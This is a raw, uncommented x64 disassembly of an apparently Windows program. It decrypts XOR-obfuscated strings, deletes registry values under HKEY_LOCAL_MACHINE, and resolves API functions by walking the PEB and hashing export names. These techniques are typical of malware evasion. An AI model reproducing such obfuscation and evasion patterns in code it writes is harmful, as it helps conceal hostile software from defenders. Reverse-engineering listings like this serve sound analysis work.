movabs r15, 0xce88e17c7e283a93
movabs r14, 0x959655dd1078ef2c
mov rax, qword [rbp + 0x170]
test rax, rax
jne 0x140044a3a
cmp qword [rbp + 0x58], rax
je 0x1400445d4
mov byte [rbp - 0x23], al
mov byte [rbp - 0x22], al
movabs rbx, 0xba6cd41224d0ea38
movabs rdi, 0x31cb044dc3a557a1
movabs rsi, 0xeabd08ba8fb48d6e
movabs r8, 0xcf84cc07b567d1d3
movabs r9, 0x6529cbff2225d219
movabs r10, 0xde4568cc26552b3c
movabs r11, 0x5cc774f4bcb23139
movabs rdx, 0x907145ef8629cade
movabs rax, 0xba38d454249fea6b
mov qword [rbp + 0xd70], rax
movabs rax, 0xcfc1cc55b526d184
mov qword [rbp + 0xd78], rax
movabs rax, 0x654acb962268d245
mov qword [rbp + 0xd80], rax
movabs rax, 0xde2a68bf263a2b4e
mov qword [rbp + 0xd88], rax
movabs rax, 0x5c9074a8bcc6315f
mov qword [rbp + 0xd90], rax
movabs rax, 0x31a40429c3cb57c8
mov qword [rbp + 0xd98], rax
mov qword [rbp + 0xda0], r13
mov qword [rbp + 0xda8], r12
mov qword [rbp + 0xdb0], r15
mov qword [rbp + 0xdb8], r14
movabs rax, 0xb889d0fe6c06a4ed
mov qword [rbp + 0xdc0], rax
movabs rax, 0xe1be92c77ec65a96
mov qword [rbp + 0xdc8], rax
movabs rax, 0xe69448f09e258da7
mov qword [rbp + 0xdd0], rax
movabs rax, 0xbd5baf51cf91e570
mov qword [rbp + 0xdd8], rax
movabs rax, 0xacf30ea2aa637441
mov qword [rbp + 0xde0], rax
movabs rax, 0xf1f82eeb88442f7a
mov qword [rbp + 0xde8], rax
movabs rax, 0x977bae046e320c7b
mov qword [rbp + 0xdf0], rax
movabs rcx, 0x4a4365050977f614
mov qword [rbp + 0xdf8], rcx
movabs rax, 0x428da546cfabead5
mov qword [rbp + 0xe00], rax
mov qword [rbp + 0xe08], rdx
movabs rax, 0x564e424040c474e6
movabs rcx, 0xcee6e1197e5a3ae1
movabs r14, 0x95e455b8102eef58
movabs r15, 0xb8e7d0916c6fa49e
movabs r12, 0xe1df92aa7e8f5aca
mov qword [rbp + 0x610], rbx
mov qword [rbp + 0x618], r8
mov qword [rbp + 0x620], r9
mov qword [rbp + 0x628], r10
mov qword [rbp + 0x630], r11
mov qword [rbp + 0x638], rdi
mov qword [rbp + 0x640], rsi
mov qword [rbp + 0x648], rax
mov qword [rbp + 0x650], rcx
mov qword [rbp + 0x658], r14
mov qword [rbp + 0x660], r15
mov qword [rbp + 0x668], r12
movabs r13, 0xe6d248d09e408dc0
mov qword [rbp + 0x670], r13
movabs rax, 0xbd7baf34cffde519
mov qword [rbp + 0x678], rax
movabs rax, 0xac900ec7aa1b7404
mov qword [rbp + 0x680], rax
movabs rax, 0xf1972e8288302f0f
mov qword [rbp + 0x688], rax
movabs rax, 0x970bae4b6e120c15
mov qword [rbp + 0x690], rax
movabs rax, 0x4a2d656a091ef660
mov qword [rbp + 0x698], rax
movabs rax, 0x428da546cff7eaa6
mov qword [rbp + 0x6a0], rax
mov qword [rbp + 0x6a8], rdx
xor eax, eax
mov byte [rbp - 0x21], al
movdqa xmm0, xmmword [rbp + 0xd70]
pxor xmm0, xmmword [rbp + 0x610]
movdqa xmmword [rbp + 0x610], xmm0
movdqa xmm1, xmmword [rbp + 0xd80]
pxor xmm1, xmmword [rbp + 0x620]
movdqa xmmword [rbp + 0x620], xmm1
movdqa xmm0, xmmword [rbp + 0xd90]
pxor xmm0, xmmword [rbp + 0x630]
movdqa xmmword [rbp + 0x630], xmm0
movdqa xmm1, xmmword [rbp + 0xda0]
pxor xmm1, xmmword [rbp + 0x640]
movdqa xmmword [rbp + 0x640], xmm1
movdqa xmm0, xmmword [rbp + 0xdb0]
pxor xmm0, xmmword [rbp + 0x650]
movdqa xmmword [rbp + 0x650], xmm0
movdqa xmm1, xmmword [rbp + 0xdc0]
pxor xmm1, xmmword [rbp + 0x660]
movdqa xmmword [rbp + 0x660], xmm1
movdqa xmm0, xmmword [rbp + 0xdd0]
pxor xmm0, xmmword [rbp + 0x670]
movdqa xmmword [rbp + 0x670], xmm0
movdqa xmm1, xmmword [rbp + 0xde0]
pxor xmm1, xmmword [rbp + 0x680]
movdqa xmmword [rbp + 0x680], xmm1
movdqa xmm0, xmmword [rbp + 0xdf0]
pxor xmm0, xmmword [rbp + 0x690]
movdqa xmmword [rbp + 0x690], xmm0
movdqa xmm1, xmmword [rbp + 0xe00]
pxor xmm1, xmmword [rbp + 0x6a0]
movdqa xmmword [rbp + 0x6a0], xmm1
lea rdx, [rbp + 0x610]
lea rcx, [rbp + 0x32f0]
call fcn.14004f530
nop
mov qword [rsp + 0x68], 0
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0x2011f
lea r8, [rbp + 0x32f0]
mov rdx, 0xffffffff80000002
lea rcx, [rsp + 0x68]
call fcn.1400377f0
nop
lea rcx, [rbp + 0x32f0]
call fcn.14002fcd0
cmp qword [rsp + 0x68], 0
jne 0x140043e58
xor eax, eax
mov byte [rbp - 0x20], al
mov byte [rbp - 0x1f], al
movabs rax, 0xba38d45415afda5b
movabs rdi, 0xcfc1cc55b526d184
movabs rsi, 0xba38d454249fea6b
mov qword [rbp + 0x1230], rsi
mov qword [rbp + 0x1238], rdi
mov qword [rbp + 0x1e0], rax
mov qword [rbp + 0x1e8], rdi
xor eax, eax
mov byte [rbp - 0x1e], al
movdqa xmm0, xmmword [rbp + 0x1230]
pxor xmm0, xmmword [rbp + 0x1e0]
movdqa xmmword [rbp + 0x1e0], xmm0
lea rdx, [rbp + 0x1e0]
lea rcx, [rbp + 0x3550]
call fcn.14002b1d0
mov rdx, rax
lea rcx, [rbp + 0x3a30]
call fcn.14003bf40
movzx ebx, al
jmp 0x1400440b6
mov edx, 0x5c
mov rbx, 0xffffffffffffffff
mov r8, rbx
lea rcx, [rbp + 0x48]
call fcn.14004f360
lea r8, [rax + 1]
lea rcx, [rbp - 0x1d]
mov qword [rsp + 0x20], rcx
mov r9, rbx
lea rdx, [rbp + 0x48]
lea rcx, [rbp + 0xa28]
call fcn.140051d30
or dword [rsp + 0x70], 0x200
cmp qword [rbp + 0xa38], 0
jne 0x140043f2f
xor eax, eax
mov byte [rbp - 0x1c], al
mov byte [rbp - 0x1b], al
movabs rax, 0xba38d45416afda5b
movabs rdi, 0xcfc1cc55b526d184
movabs rsi, 0xba38d454249fea6b
mov qword [rbp + 0x1240], rsi
mov qword [rbp + 0x1248], rdi
mov qword [rbp + 0x180], rax
mov qword [rbp + 0x188], rdi
xor eax, eax
mov byte [rbp - 0x1a], al
movdqa xmm0, xmmword [rbp + 0x1240]
pxor xmm0, xmmword [rbp + 0x180]
movdqa xmmword [rbp + 0x180], xmm0
lea rdx, [rbp + 0x180]
lea rcx, [rbp + 0x3570]
call fcn.14002b1d0
mov rdx, rax
lea rcx, [rbp + 0x3a30]
call fcn.14003bf40
movzx ebx, al
jmp 0x1400440a9
mov dword [rsp + 0x20], 0x2011f
lea r9, [rbp + 0xa28]
mov r8, qword [rsp + 0x68]
lea rdx, [rbp + 0xa24]
lea rcx, [rsp + 0x68]
call fcn.140037a20
cmp dword [rax], 0
je 0x140043ff9
mov dword [rsp + 0x20], 0x2011f
lea r9, [rbp + 0xa28]
mov r8, qword [rsp + 0x68]
lea rdx, [rbp + 0xa20]
lea rcx, [rsp + 0x68]
call fcn.140037960
cmp dword [rax], 0
je 0x140043ff9
xor eax, eax
mov byte [rbp - 0x19], al
mov byte [rbp - 0x18], al
movabs rax, 0xba38d45417afda5b
movabs rdi, 0xcfc1cc55b526d184
movabs rsi, 0xba38d454249fea6b
mov qword [rbp + 0x1250], rsi
mov qword [rbp + 0x1258], rdi
mov qword [rbp + 0x1f0], rax
mov qword [rbp + 0x1f8], rdi
xor eax, eax
mov byte [rbp - 0x17], al
movdqa xmm0, xmmword [rbp + 0x1250]
pxor xmm0, xmmword [rbp + 0x1f0]
movdqa xmmword [rbp + 0x1f0], xmm0
lea rdx, [rbp + 0x1f0]
lea rcx, [rbp + 0x3590]
jmp 0x140043f13
lea rdx, [rbp + 0x1538]
lea rcx, [rsp + 0x68]
call fcn.1400384b0
nop
cmp byte [rbp + 0x1550], 1
je 0x1400440ee
xor eax, eax
mov byte [rbp - 0x16], al
mov byte [rbp - 0x15], al
movabs rax, 0xba38d45410afda5b
movabs rcx, 0xcfc1cc55b526d184
movabs rdx, 0xba38d454249fea6b
mov qword [rbp + 0x1260], rdx
mov qword [rbp + 0x1268], rcx
mov qword [rbp + 0x200], rax
mov qword [rbp + 0x208], rcx
xor eax, eax
mov byte [rbp - 0x14], al
movdqa xmm0, xmmword [rbp + 0x1260]
pxor xmm0, xmmword [rbp + 0x200]
movdqa xmmword [rbp + 0x200], xmm0
lea rdx, [rbp + 0x200]
lea rcx, [rbp + 0x3450]
call fcn.14002b1d0
mov rdx, rax
lea rcx, [rbp + 0x3a30]
call fcn.14003bf40
movzx ebx, al
lea rcx, [rbp + 0x1538]
call fcn.140038800
nop
lea rcx, [rbp + 0xa28]
call fcn.14002fcd0
nop
lea rcx, [rsp + 0x68]
call fcn.1400377a0
nop
lea rcx, [rbp + 0x20]
call fcn.14002fc60
nop
lea rcx, [rbp + 0x48]
call fcn.14002fcd0
nop
lea rcx, [rbp + 0x160]
call fcn.14002fcd0
test bl, bl
je 0x1400450ad
jmp 0x140044a6e
lea rcx, [rbp + 0x1538]
call fcn.140053c70
mov rdi, qword [rax + 8]
mov rbx, qword [rax]
cmp rbx, rdi
je 0x140044137
nop word [rax + rax]
xor eax, eax
mov byte [rbp - 0x13], al
mov byte [rbp - 0x12], al
mov rcx, rbx
call fcn.14002b150
mov rdx, rax
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
add rbx, 0x28
cmp rbx, rdi
jne 0x140044110
mov qword [rbp - 0x60], 0
mov dword [rbp - 0x58], 0
mov qword [rbp - 0x54], 0x20000000
mov dword [rbp - 0x4c], 0
lea rax, [rbp - 0x60]
mov qword [rbp + 0x1270], rax
lea rax, [rbp - 0x48]
mov qword [rbp + 0x1278], rax
lea r8, [rbp - 0x11]
lea rdx, [rbp + 0x1270]
lea rcx, [rbp + 0x16f0]
call fcn.14004eeb0
nop
mov qword [rbp - 0x78], 0
mov qword [rbp - 0x70], 0
mov qword [rbp - 0x68], 0
lea rax, [rbp - 0x78]
mov qword [rbp + 0x1280], rax
lea rax, [rbp - 0x60]
mov qword [rbp + 0x1288], rax
lea r8, [rbp - 0x10]
lea rdx, [rbp + 0x1280]
lea rcx, [rbp + 0x16d8]
call fcn.14004eeb0
nop
xor eax, eax
mov byte [rbp - 0xf], al
mov byte [rbp - 0xe], al
movabs rax, 0xba38d47a24b1ea45
movabs r14, 0xcfc1cc55b526d184
movabs r15, 0xba38d454249fea6b
mov qword [rbp + 0x1290], r15
mov qword [rbp + 0x1298], r14
mov qword [rbp + 0x210], rax
mov qword [rbp + 0x218], r14
xor eax, eax
mov byte [rbp - 0xd], al
movdqa xmm0, xmmword [rbp + 0x1290]
pxor xmm0, xmmword [rbp + 0x210]
movdqa xmmword [rbp + 0x210], xmm0
lea rdx, [rbp + 0x210]
lea rcx, [rbp + 0x3330]
call fcn.14004f530
nop
xor eax, eax
mov byte [rbp - 0xc], al
mov byte [rbp - 0xb], al
movabs rax, 0xba75d41224deea2e
movabs rcx, 0xcfadcc20b542d1eb
movabs rdx, 0x654acb96221bd220
movabs r12, 0xde2a68bf263a2b4e
mov qword [rbp + 0x1460], r15
mov qword [rbp + 0x1468], r14
movabs rbx, 0x654acb962268d245
mov qword [rbp + 0x1470], rbx
mov qword [rbp + 0x1478], r12
mov qword [rbp + 0x2f0], rax
mov qword [rbp + 0x2f8], rcx
mov qword [rbp + 0x300], rdx
mov qword [rbp + 0x308], r12
xor eax, eax
mov byte [rbp - 0xa], al
movdqa xmm0, xmmword [rbp + 0x1460]
pxor xmm0, xmmword [rbp + 0x2f0]
movdqa xmmword [rbp + 0x2f0], xmm0
movdqa xmm1, xmmword [rbp + 0x1470]
pxor xmm1, xmmword [rbp + 0x300]
movdqa xmmword [rbp + 0x300], xmm1
lea rdx, [rbp + 0x2f0]
lea rcx, [rbp + 0x3310]
call fcn.14004f530
lea r9, [rbp + 0x3330]
lea r8, [rbp + 0x3310]
lea rdx, [rbp + 0xa50]
lea rcx, [rsp + 0x68]
call fcn.140037ad0
lea rcx, [rbp + 0x3310]
call fcn.14002fcd0
nop
lea rcx, [rbp + 0x3330]
call fcn.14002fcd0
xor eax, eax
mov byte [rbp - 9], al
mov byte [rbp - 8], al
movabs rdi, 0xba51d42024f6ea26
movabs rsi, 0xcfa8cc21b547d1e3
movabs rax, 0x653acbd92206d22a
movabs rcx, 0xde4468d026532b3a
movabs rdx, 0x5c9074a8bcc6312c
movabs r13, 0x31a40429c3cb57c8
mov qword [rbp + 0xa90], r15
mov qword [rbp + 0xa98], r14
mov qword [rbp + 0xaa0], rbx
mov qword [rbp + 0xaa8], r12
movabs rbx, 0x5c9074a8bcc6315f
mov qword [rbp + 0xab0], rbx
mov qword [rbp + 0xab8], r13
mov qword [rbp + 0x3f0], rdi
mov qword [rbp + 0x3f8], rsi
mov qword [rbp + 0x400], rax
mov qword [rbp + 0x408], rcx
mov qword [rbp + 0x410], rdx
mov qword [rbp + 0x418], r13
xor eax, eax
mov byte [rbp - 7], al
movdqa xmm0, xmmword [rbp + 0xa90]
pxor xmm0, xmmword [rbp + 0x3f0]
movdqa xmmword [rbp + 0x3f0], xmm0
movdqa xmm1, xmmword [rbp + 0xaa0]
pxor xmm1, xmmword [rbp + 0x400]
movdqa xmmword [rbp + 0x400], xmm1
movdqa xmm0, xmmword [rbp + 0xab0]
pxor xmm0, xmmword [rbp + 0x410]
movdqa xmmword [rbp + 0x410], xmm0
lea rdx, [rbp + 0x3f0]
lea rcx, [rbp + 0x3370]
call fcn.14004f530
lea r9, [rbp + 0x16f0]
lea r8, [rbp + 0x3370]
lea rdx, [rbp + 0xa4c]
lea rcx, [rsp + 0x68]
call fcn.140037b30
lea rcx, [rbp + 0x3370]
call fcn.14002fcd0
xor eax, eax
mov byte [rbp - 6], al
mov byte [rbp - 5], al
movabs rax, 0x653fcbd72206d22a
movabs rcx, 0xde6568cb26532b2a
movabs rdx, 0x5cff74c1bcb2312f
movabs rbx, 0x31a40429c3b857a6
mov qword [rbp + 0xac0], r15
mov qword [rbp + 0xac8], r14
movabs r8, 0x654acb962268d245
mov qword [rbp + 0xad0], r8
mov qword [rbp + 0xad8], r12
movabs r8, 0x5c9074a8bcc6315f
mov qword [rbp + 0xae0], r8
mov qword [rbp + 0xae8], r13
mov qword [rbp + 0x3c0], rdi
mov qword [rbp + 0x3c8], rsi
mov qword [rbp + 0x3d0], rax
mov qword [rbp + 0x3d8], rcx
mov qword [rbp + 0x3e0], rdx
mov qword [rbp + 0x3e8], rbx
xor eax, eax
mov byte [rbp - 4], al
movdqa xmm0, xmmword [rbp + 0xac0]
pxor xmm0, xmmword [rbp + 0x3c0]
movdqa xmmword [rbp + 0x3c0], xmm0
movdqa xmm1, xmmword [rbp + 0xad0]
pxor xmm1, xmmword [rbp + 0x3d0]
movdqa xmmword [rbp + 0x3d0], xmm1
movdqa xmm0, xmmword [rbp + 0xae0]
pxor xmm0, xmmword [rbp + 0x3e0]
movdqa xmmword [rbp + 0x3e0], xmm0
lea rdx, [rbp + 0x3c0]
lea rcx, [rbp + 0x3350]
call fcn.14004f530
lea r9, [rbp + 0x16d8]
lea r8, [rbp + 0x3350]
lea rdx, [rbp + 0xa48]
lea rcx, [rsp + 0x68]
call fcn.140037b30
lea rcx, [rbp + 0x3350]
call fcn.14002fcd0
lea rdx, [rbp + 0x48]
lea rcx, [rbp + 0x160]
call fcn.14002fd30
nop
lea rcx, [rbp + 0x16d8]
call fcn.140001e50
nop
lea rcx, [rbp + 0x16f0]
call fcn.140001e50
nop
lea rcx, [rbp + 0x1538]
call fcn.140038800
nop
lea rcx, [rbp + 0xa28]
call fcn.14002fcd0
nop
lea rcx, [rsp + 0x68]
call fcn.1400377a0
mov rax, qword [rbp + 0x170]
test rax, rax
jne 0x140044a3a
xor esi, esi
mov r8d, 0x28255f84
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
movups xmm0, xmmword [rax + 0x58]
movups xmmword [rbp + 0x15d8], xmm0
movd ecx, xmm0
sub cx, 8
test esi, esi
je 0x140044670
mov r9, qword [rbp + 0x15e0]
movzx ecx, cx
shr rcx, 1
lea r11, [r9 + rcx*2]
mov r10d, 0x811c9dc5
cmp r9, r11
je 0x140044667
nop dword [rax]
nop word [rax + rax]
movsx ecx, byte [r9]
mov edx, ecx
sub cl, 0x41
mov ebx, edx
or ebx, 0x20
cmp cl, 0x19
cmova ebx, edx
xor ebx, r10d
imul r10d, ebx, 0x1000193
add r9, 2
cmp r9, r11
jne 0x140044640
cmp r10d, esi
jne 0x1400447b7
mov rdi, qword [rax + 0x30]
test rdi, rdi
je 0x1400447bf
movsxd rcx, dword [rdi + 0x3c]
mov rdx, qword [rcx + rdi + 0x88]
mov r13, rdx
shr r13, 0x20
mov r15d, edx
add r15, rdi
cmp r15, rdi
je 0x1400447b7
mov r11d, dword [r15 + 0x18]
test r11d, r11d
je 0x1400447b7
mov r12d, dword [r15 + 0x20]
dec r11d
lea rcx, [r12 + r11*4]
mov edx, dword [rcx + rdi]
mov r10d, 0x811c9dc5
movzx ebx, byte [rdx + rdi]
lea r9, [rdx + 1]
add r9, rdi
test bl, bl
je 0x1400446f7
nop
movsx ecx, bl
sub bl, 0x41
mov edx, ecx
or edx, 0x20
cmp bl, 0x19
cmova edx, ecx
xor edx, r10d
imul r10d, edx, 0x1000193
movzx ebx, byte [r9]
lea r9, [r9 + 1]
test bl, bl
jne 0x1400446d0
cmp r10d, r8d
je 0x140044709
test r11d, r11d
jne 0x1400446b0
mov rax, qword [rax]
jmp 0x140044600
mov ecx, dword [r15 + 0x1c]
add rcx, rdi
mov eax, dword [r15 + 0x24]
add rax, rdi
movzx eax, word [rax + r11*2]
mov ebx, dword [rcx + rax*4]
add rbx, rdi
cmp rbx, r15
jbe 0x1400447c1
lea rax, [r15 + r13]
cmp rbx, rax
jae 0x1400447c1
mov esi, 0x811c9dc5
mov r8d, esi
movzx edx, byte [rbx]
cmp dl, 0x2e
je 0x140044774
nop dword [rax + rax]
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, esi
imul esi, ecx, 0x1000193
inc rbx
movzx edx, byte [rbx]
cmp dl, 0x2e
jne 0x140044750
inc rbx
movzx edx, byte [rbx]
test dl, dl
je 0x1400447a6
nop
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, r8d
imul r8d, ecx, 0x1000193
lea rbx, [rbx + 1]
movzx edx, byte [rbx]
test dl, dl
jne 0x140044780
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x140044600
xor ebx, ebx
movabs rax, 0xdd1680046dcda138
movabs rcx, 0xa0b3be10950bf1e3
movabs rdx, 0x654acb962268d237
movabs r9, 0xde2a68bf263a2b4e
movabs r8, 0xba38d454249fea6b
mov qword [rbp + 0x1480], r8
movabs r13, 0xcfc1cc55b526d184
mov qword [rbp + 0x1488], r13
movabs r8, 0x654acb962268d245
mov qword [rbp + 0x1490], r8
mov qword [rbp + 0x1498], r9
mov qword [rbp + 0x310], rax
mov qword [rbp + 0x318], rcx
mov qword [rbp + 0x320], rdx
mov qword [rbp + 0x328], r9
movdqa xmm0, xmmword [rbp + 0x310]
pxor xmm0, xmmword [rbp + 0x1480]
movdqa xmmword [rbp + 0x310], xmm0
movdqa xmm1, xmmword [rbp + 0x1490]
pxor xmm1, xmmword [rbp + 0x320]
movdqa xmmword [rbp + 0x320], xmm1
movabs rcx, 0xd64dbb1704c2cb30
movabs rdi, 0x52c57047aca877ad
movabs rsi, 0x989c78eafab4ad6d
movabs r8, 0xa1a8aa75c101bfe0
movabs r9, 0x72bb8e30209f221
movabs r10, 0xbb4d1ade521a4e22
movabs r11, 0x2ff111c4cce61d2b
movabs rax, 0xba38d454249fea6b
movabs r15, 0x640b723363c354c6
movabs r12, 0xce88e17c7e2814ce
movabs r14, 0x959655dd1078ef2c
mov qword [rbp + 0xc20], rax
mov qword [rbp + 0xc28], r13
movabs rax, 0x654acb962268d245
mov qword [rbp + 0xc30], rax
movabs rax, 0xde2a68bf263a2b4e
mov qword [rbp + 0xc38], rax
movabs rax, 0x5c9074a8bcc6315f
mov qword [rbp + 0xc40], rax
movabs rax, 0x31a40429c3cb57c8
mov qword [rbp + 0xc48], rax
movabs rdx, 0xeaf3089a8fc78d19
mov qword [rbp + 0xc50], rdx
movabs rax, 0x563b4203409874b2
mov qword [rbp + 0xc58], rax
movabs rax, 0xce88e17c7e283a93
mov qword [rbp + 0xc60], rax
mov qword [rbp + 0xc68], r14
mov qword [rbp + 0x550], rcx
mov qword [rbp + 0x558], r8
mov qword [rbp + 0x560], r9
mov qword [rbp + 0x568], r10
mov qword [rbp + 0x570], r11
mov qword [rbp + 0x578], rdi
mov qword [rbp + 0x580], rsi
mov qword [rbp + 0x588], r15
mov qword [rbp + 0x590], r12
mov qword [rbp + 0x598], r14
movdqa xmm0, xmmword [rbp + 0xc20]
pxor xmm0, xmmword [rbp + 0x550]
movdqa xmmword [rbp + 0x550], xmm0
movdqa xmm1, xmmword [rbp + 0xc30]
pxor xmm1, xmmword [rbp + 0x560]
movdqa xmmword [rbp + 0x560], xmm1
movdqa xmm0, xmmword [rbp + 0xc40]
pxor xmm0, xmmword [rbp + 0x570]
movdqa xmmword [rbp + 0x570], xmm0
movdqa xmm1, xmmword [rbp + 0xc50]
pxor xmm1, xmmword [rbp + 0x580]
movdqa xmmword [rbp + 0x580], xmm1
movdqa xmm0, xmmword [rbp + 0xc60]
pxor xmm0, xmmword [rbp + 0x590]
movdqa xmmword [rbp + 0x590], xmm0
lea r8, [rbp + 0x310]
lea rdx, [rbp + 0x550]
jmp 0x14004384f
lea rdx, [rbp + 0x160]
lea rcx, [rbp + 0x14e0]
call fcn.14004f500
nop
lea rcx, [rbp + 0x20]
call fcn.14002fc60
nop
lea rcx, [rbp + 0x48]
call fcn.14002fcd0
nop
lea rcx, [rbp + 0x160]
call fcn.14002fcd0
xor esi, esi
mov edi, 0xabcbdc25
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
movups xmm0, xmmword [rax + 0x58]
movups xmmword [rbp + 0x12a0], xmm0
movd ecx, xmm0
sub cx, 8
test esi, esi
je 0x140044b00
mov r8, qword [rbp + 0x12a8]
movzx ecx, cx
shr rcx, 1
lea r10, [r8 + rcx*2]
mov r9d, 0x811c9dc5
cmp r8, r10
je 0x140044af7
nop dword [rax]
nop word [rax + rax]
movsx ecx, byte [r8]
mov edx, ecx
sub cl, 0x41
mov ebx, edx
or ebx, 0x20
cmp cl, 0x19
cmova ebx, edx
xor ebx, r9d
imul r9d, ebx, 0x1000193
add r8, 2
cmp r8, r10
jne 0x140044ad0
cmp r9d, esi
jne 0x140044c45
mov r11, qword [rax + 0x30]
test r11, r11
je 0x140044c4d
movsxd rcx, dword [r11 + 0x3c]
mov rdx, qword [rcx + r11 + 0x88]
mov r13, rdx
shr r13, 0x20
mov r15d, edx
add r15, r11
cmp r15, r11
je 0x140044c45
mov r10d, dword [r15 + 0x18]
test r10d, r10d
je 0x140044c45
mov r12d, dword [r15 + 0x20]
dec r10d
lea rcx, [r11 + r10*4]
mov edx, dword [rcx + r12]
mov r9d, 0x811c9dc5
movzx ebx, byte [rdx + r11]
lea r8, [r11 + 1]
add r8, rdx
test bl, bl
je 0x140044b88
movsx ecx, bl
sub bl, 0x41
mov edx, ecx
or edx, 0x20
cmp bl, 0x19
cmova edx, ecx
xor edx, r9d
imul r9d, edx, 0x1000193
movzx ebx, byte [r8]
lea r8, [r8 + 1]
test bl, bl
jne 0x140044b61
cmp r9d, edi
je 0x140044b9a
test r10d, r10d
jne 0x140044b40
mov rax, qword [rax]
jmp 0x140044a90
mov ecx, dword [r15 + 0x1c]
add rcx, r11
mov eax, dword [r15 + 0x24]
add rax, r11
movzx eax, word [rax + r10*2]
mov edx, dword [rcx + rax*4]
add rdx, r11
cmp rdx, r15
jbe 0x140044c4f
lea rax, [r15 + r13]
cmp rdx, rax
jae 0x140044c4f
mov esi, 0x811c9dc5
mov edi, esi
movzx ebx, byte [rdx]
cmp bl, 0x2e
je 0x140044c04
nop dword [rax + rax]
movsx eax, bl
sub bl, 0x41
mov ecx, eax
or ecx, 0x20
cmp bl, 0x19
cmova ecx, eax
xor ecx, esi
imul esi, ecx, 0x1000193
inc rdx
movzx ebx, byte [rdx]
cmp bl, 0x2e
jne 0x140044be0
inc rdx
movzx ebx, byte [rdx]
test bl, bl
je 0x140044c34
nop
movsx eax, bl
sub bl, 0x41
mov ecx, eax
or ecx, 0x20
cmp bl, 0x19
cmova ecx, eax
xor ecx, edi
imul edi, ecx, 0x1000193
lea rdx, [rdx + 1]
movzx ebx, byte [rdx]
test bl, bl
jne 0x140044c10
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x140044a90
xor edx, edx
call rdx
mov rbx, rax
lea rcx, [rbp + 0x1518]
call fcn.14001c9e0
mov qword [rbp + 0x1530], rbx
lea rcx, [rbp + 0x14e0]
call fcn.14002b150
mov rcx, qword [rbp + 0x1530]
test rcx, rcx
jne 0x140044c83
xor ebx, ebx
jmp 0x140044c8e
mov rdx, rax
call fcn.14006bbd0
mov rbx, rax
lea rcx, [rbp + 0x14c0]
call fcn.14001c9e0
mov qword [rbp + 0x14d8], rbx
test rbx, rbx
jne 0x1400450be
xor esi, esi
mov r8d, 0x28255f84
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
movups xmm0, xmmword [rax + 0x58]
movups xmmword [rbp + 0x15e8], xmm0
movd ecx, xmm0
sub cx, 8
test esi, esi
je 0x140044d40
mov r9, qword [rbp + 0x15f0]
movzx ecx, cx
shr rcx, 1
lea r11, [r9 + rcx*2]
mov r10d, 0x811c9dc5
cmp r9, r11
je 0x140044d37
nop dword [rax]
nop word [rax + rax]
movsx ecx, byte [r9]
mov edx, ecx
sub cl, 0x41
mov ebx, edx
or ebx, 0x20
cmp cl, 0x19
cmova ebx, edx
xor ebx, r10d
imul r10d, ebx, 0x1000193
add r9, 2
cmp r9, r11
jne 0x140044d10
cmp r10d, esi
jne 0x140044e87
mov rdi, qword [rax + 0x30]
test rdi, rdi
je 0x140044e8f
movsxd rcx, dword [rdi + 0x3c]
mov rdx, qword [rcx + rdi + 0x88]
mov r13, rdx
shr r13, 0x20
mov r14d, edx
add r14, rdi
cmp r14, rdi
je 0x140044e87
mov r11d, dword [r14 + 0x18]
test r11d, r11d
je 0x140044e87
mov r12d, dword [r14 + 0x20]
dec r11d
lea rcx, [rdi + r11*4]
mov r9d, dword [rcx + r12]
add r9, rdi
mov r10d, 0x811c9dc5
movzx ebx, byte [r9]
inc r9
test bl, bl
je 0x140044dc7
nop
movsx ecx, bl
sub bl, 0x41
mov edx, ecx
or edx, 0x20
cmp bl, 0x19
cmova edx, ecx
xor edx, r10d
imul r10d, edx, 0x1000193
movzx ebx, byte [r9]
lea r9, [r9 + 1]
test bl, bl
jne 0x140044da0
cmp r10d, r8d
je 0x140044dd9
test r11d, r11d
jne 0x140044d80
mov rax, qword [rax]
jmp 0x140044cd0
mov ecx, dword [r14 + 0x1c]
add rcx, rdi
mov eax, dword [r14 + 0x24]
add rax, rdi
movzx eax, word [rax + r11*2]
mov ebx, dword [rcx + rax*4]
add rbx, rdi
cmp rbx, r14
jbe 0x140044e91
lea rax, [r14 + r13]
cmp rbx, rax
jae 0x140044e91
mov esi, 0x811c9dc5
mov r8d, esi
movzx edx, byte [rbx]
cmp dl, 0x2e
je 0x140044e44
nop dword [rax + rax]
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, esi
imul esi, ecx, 0x1000193
inc rbx
movzx edx, byte [rbx]
cmp dl, 0x2e
jne 0x140044e20
inc rbx
movzx edx, byte [rbx]
test dl, dl
je 0x140044e76
nop
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, r8d
imul r8d, ecx, 0x1000193
lea rbx, [rbx + 1]
movzx edx, byte [rbx]
test dl, dl
jne 0x140044e50
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x140044cd0
xor ebx, ebx
movabs r15, 0xba38d454249fea6b
mov qword [rbp + 0x14a0], r15
movabs r14, 0xcfc1cc55b526d184
mov qword [rbp + 0x14a8], r14
movabs r13, 0x654acb962268d245
mov qword [rbp + 0x14b0], r13
movabs r12, 0xde2a68bf263a2b4e
mov qword [rbp + 0x14b8], r12
movabs rax, 0xdd1680046dcda138
mov qword [rbp + 0x330], rax
movabs rcx, 0xa0b3be10950bf1e3
mov qword [rbp + 0x338], rcx
movabs rdx, 0x654acb962268d237
mov qword [rbp + 0x340], rdx
